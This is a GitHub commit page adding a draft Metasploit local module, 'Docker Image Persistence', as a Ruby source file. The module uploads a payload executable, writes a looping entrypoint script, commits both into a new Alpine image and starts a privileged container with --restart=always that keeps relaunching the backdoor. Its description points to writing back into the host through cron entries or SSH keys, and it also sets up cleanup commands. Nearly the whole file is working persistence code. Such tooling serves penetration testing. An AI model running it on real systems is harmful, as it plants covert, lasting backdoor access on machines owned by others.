Skip to content

Commit 489e0ca

Browse files
committed
docker image persistence module draft
1 parent 140232d commit 489e0ca

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Docker Image Persistence',
21+
'Description' => %q{
22+
This module maintains persistence on a host by creating a docker image which runs our
23+
payload, and has access to the host's file system (/host in the container). Whenever the
24+
container restarts, the payload will run, or when the payload dies the executable
25+
will run again after a delay. This will allow for writing back
26+
into the host through cron entries, ssh keys, or other method.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'h00die',
31+
],
32+
'Platform' => [ 'linux' ],
33+
'Arch' => [
34+
# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
35+
ARCH_X86,
36+
ARCH_X64,
37+
ARCH_ARMLE,
38+
ARCH_AARCH64,
39+
ARCH_PPC,
40+
ARCH_MIPSLE,
41+
ARCH_MIPSBE
42+
],
43+
'SessionTypes' => [ 'meterpreter' ],
44+
'Targets' => [[ 'Auto', {} ]],
45+
'References' => [
46+
['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
47+
],
48+
'DisclosureDate' => '2013-03-20', # docker's release date
49+
'DefaultTarget' => 0,
50+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
51+
'Notes' => {
52+
'Stability' => [CRASH_SAFE],
53+
'Reliability' => [REPEATABLE_SESSION],
54+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
55+
}
56+
)
57+
)
58+
59+
register_options(
60+
[
61+
OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
62+
]
63+
)
64+
end
65+
66+
def check
67+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
68+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
69+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
70+
return CheckCode::Safe('docker is required') unless command_exists?('docker')
71+
72+
vprint_status('Checking Docker availability and permissions...')
73+
74+
output = cmd_exec('docker ps 2>&1')
75+
76+
if output.include?('permission denied')
77+
return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
78+
elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
79+
return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
80+
# elsif output =~ /CONTAINER ID/
81+
end
82+
83+
CheckCode::Detected('docker app is installed and accessible')
84+
end
85+
86+
def install_persistence
87+
# Step 1: Prepare payload
88+
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
89+
backdoor = "#{writable_dir}/#{file_name}"
90+
vprint_status("Writing backdoor to #{backdoor}")
91+
upload_and_chmodx backdoor, generate_payload_exe
92+
93+
# Step 2: Prepare entrypoint script (loops indefinitely)
94+
sleep_time = datastore['SLEEP']
95+
entry_script = <<~SCRIPT
96+
#!/bin/sh
97+
while true; do
98+
if [ -x /usr/local/bin/#{file_name} ]; then
99+
# Check if it's already running
100+
if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
101+
/usr/local/bin/#{file_name} &
102+
fi
103+
fi
104+
sleep #{sleep_time}
105+
done
106+
SCRIPT
107+
108+
entry_file = "#{writable_dir}/entrypoint.sh"
109+
write_file(entry_file, entry_script)
110+
cmd_exec("chmod 755 #{entry_file}")
111+
112+
# Step 3: Pull Alpine image
113+
cmd_exec('docker pull alpine')
114+
115+
# Step 4: Create a temporary container (stopped) to copy files in
116+
tmp_container = cmd_exec('docker run -dit alpine sh').strip
117+
vprint_status("Temporary container created: #{tmp_container}")
118+
119+
# Copy payload and entrypoint into container
120+
cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
121+
cmd_exec("docker cp #{entry_file} #{tmp_container}:/")
122+
123+
cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
124+
cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")
125+
126+
# Commit a new persistent image
127+
persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
128+
cmd_exec("docker commit #{tmp_container} #{persistent_image}")
129+
print_good("Persistent image created: #{persistent_image}")
130+
131+
# Remove temporary container
132+
cmd_exec("docker rm #{tmp_container}")
133+
134+
# Step 5: Start container with internal entrypoint
135+
container_id = cmd_exec("docker run -dit --privileged --restart=always #{persistent_image} /entrypoint.sh").strip
136+
print_good("Container started with internal entrypoint: #{container_id}")
137+
138+
# Step 6: Add cleanup commands for RC
139+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
140+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
141+
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"
142+
143+
# Step 7: Clean up host temp files
144+
rm_f backdoor
145+
rm_f entry_file
146+
147+
# Step 8: Stop tmp image
148+
print_status('Stopping and removing temp container')
149+
cmd_exec("docker stop #{tmp_container}")
150+
cmd_exec("docker rm #{tmp_container}")
151+
152+
print_status("Payload installed and running with #{sleep_time}-second loop in container")
153+
end
154+
155+
end

0 commit comments

Comments
 (0)